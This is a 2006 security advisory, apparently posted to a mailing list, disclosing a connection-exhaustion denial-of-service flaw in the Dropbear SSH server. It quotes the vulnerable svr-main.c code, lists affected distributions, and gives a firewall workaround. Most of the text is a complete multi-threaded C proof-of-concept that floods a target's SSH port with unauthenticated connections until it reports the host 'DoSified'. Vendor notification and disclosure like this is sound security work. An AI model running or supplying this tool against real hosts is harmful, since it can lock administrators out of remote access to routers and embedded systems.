Dropbear SSH server Denial of Service Credits: Pablo Fernandez March 7th, 2006 I. BACKGROUND Dropbear is a relatively small SSH 2 server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers. More information is available at http://matt.ucc.asn.au/dropbear/dropbear.html II. DESCRIPTION Denial of service is possible and could be trivialy launched by a remote attacker. The vulnerability specifically exists due to a design error in the authorization-pending connections code. By default and as a #define of the MAX_UNAUTH_CLIENTS constant, the SSH server allows 30 authorization-pending connections, after connection 31, incoming sockets are close()d immediatly. Vulnerable code is in svr-main.c /* check for max number of connections not authorised */ for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) { if (childpipes[j] < 0) { break; } } if (j == MAX_UNAUTH_CLIENTS) { /* no free connections */ /* TODO - possibly log, though this would be an easy way * to fill logs/disk */ close(childsock); continue; } III. ANALYSIS Remote attack of this vulnerability is trivial. This is specially problematic if the administrator can't login due to the attack and can't at least blacklist the attacker, restart the service or undertake other actions. IV. DETECTION All versions (up to and including current 0.47 version) are vulnerable. The following distributions are known to use or package Dropbear: * LEAF Bering uClibc - a small Linux firewall/network applicance distribution. * NetBSD Packages Collection * Debian * FreeBSD Ports * Gentoo Packages * OpenWRT - a very nice distro for WRT54G wireless routers (and others). * FREESCO is is a single floppy NAT/firewall router/server. * Bent Linux - a uClibc based Linux distribution, statically linked cpio.bz2 packages (should work on any distro) * fli4l - a one-disk-router Linux distribution * OpenZaurus - custom Linux for the Sharp Zaurus * floppyfw - a single floppy firewall Linux distribution * ttylinux - Linux to fit in 4 megabytes of disk space and run on 386es, as an internet terminal * Sisela - single floppy Linux router/wireless AP distro * gumstix - tiny embedded Linux boards * OpenSimpad - Linux for the Siemans SIMpad, packages here upgrade for Linksys WiFi routers * Slackmatic * Coyote Linux - a single floppy firewall * Trinux - a lightweight Linux security toolkit * Familiar ipkg - for handhelds * Source Mage - a distribution of GNU/Linux, Dropbear is available as a spell. * Netcomm NB5 ADSL router - this runs Dropbear out of the box. * Dreambox linux-based DVB recorder has Dropbear on the default firmware. * kboot - a proof-of-concept Linux boot loader. V. WORKAROUND Administrators running dropbear should wait for a fix from the vendor. In the mean time, firewalling the SSH server allowing incoming connections just from trusted sources is adviced. VI. VENDOR RESPONSE The vendor has been notified and a solution is under development. VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 30/01/2006 Initial vendor notification 07/03/2006 Public disclosure IX. CREDIT Pablo Fernandez <pablo at littleQ.net> is credited with this discovery. -- Pablo Fernandez Lopez http://www.littleQ.net/ GPG: http://www.littleQ.net/pablo.asc Fingerprint: 14A0 8343 E8FB E940 59E3 F7BB C347 869D DBB9 337F
/** * dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server * * Author: Pablo Fernandez <pablo at littleQ.net> * * gcc dropbear-PoC.c -o dropbear-PoC -lpthread * ./dropbear-PoC -v 192.168.0.1 * **/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * ***************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <sys/poll.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #define MAX_SOCKS 0xfff #define PORT 22 #define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */ struct data { int max_unauth_clients; int port; int verbose; char *host; }; void show_help (const char *name) { fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n" "\n" "Options:\n" "\t--help, -h - This help\n" "\t--port, -p [PORT] - Port to connect to (defaults to %d)\n" "\t--verbose, -v - Verbose level (can be used multiple times)\n" "\n" "Note that hosts should be specified using IP addresses, not hostnames\n", name, PORT); exit(1); } void *DoS (void *data) { struct data *d; struct sockaddr_in sa; int sock; int killed = 0; struct pollfd fd; struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; int retval; int i = 0; d = (struct data*) data; if (d->verbose > 1) printf("[*] Target: %s\n", d->host); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(d->host); sa.sin_port = htons(d->port); while (1) { if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "[!] Unable to create socket\n"); break; } if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) { fprintf(stderr, "[!] %s: Unable to connect\n", d->host); break; } memset(&fd, 0, sizeof(struct pollfd)); fd.fd = sock; fd.events = POLLIN; if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) { perror("poll"); return NULL; } if (fd.revents & POLLIN) { char buf[512]; memset(buf, 0, sizeof(buf)); read(sock, &buf, sizeof(buf)); if (buf[0] != 0) { if (killed) { if (d->verbose > 0) printf("[!] %s is back up\n", d->host); } else if (d->verbose > 1) printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents); killed = 0; } else goto err; } else if (fd.revents & (POLLERR | POLLHUP)) { err: if (!killed && d->verbose > 0) printf("[+] %s has been DoSified\n", d->host); killed = 1; } if (killed) sleep(5); } return NULL; } int main (int argc, char **argv) { int port = PORT; int verbose = 0; int opt; char *host; pthread_t *threads = NULL; int targets = 0; int i; struct data *d; printf("\n"); printf("DropBear SSH Server DoS PoC\n"); printf(" -- by Pablo Fernandez <pablo at littleQ.net>\n\n"); while (1) { static struct option options[] = { { "help", 0, 0, 'h' }, { "port", 1, 0, 'p' }, { "verbose", 0, 0, 'v' }, { 0, 0, 0, 0 } }; int a; if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0) break; switch (opt) { default: case 'h': show_help(argv[0]); break; case 'p': port = atoi(optarg); break; case 'v': verbose++; break; } } if (optind >= argc) { fprintf(stderr, "\nError: Host not specified\n\n"); show_help(argv[0]); return 0; } targets = argc - optind; if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) { perror("malloc"); return 1; } if (verbose > 2) printf("[*] %d targets\n", targets); for (i = 0; optind < argc; i++) { host = argv[optind++]; d = (struct data*) malloc(sizeof(struct data)); d->port = port; d->verbose = verbose; d->host = strdup(host); pthread_create(&(threads[i]), NULL, DoS, d); } for (i = 0; i < targets; i++) { pthread_join(threads[i], NULL); } return 0; }
Attachment:
signature.asc
Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada digitalmente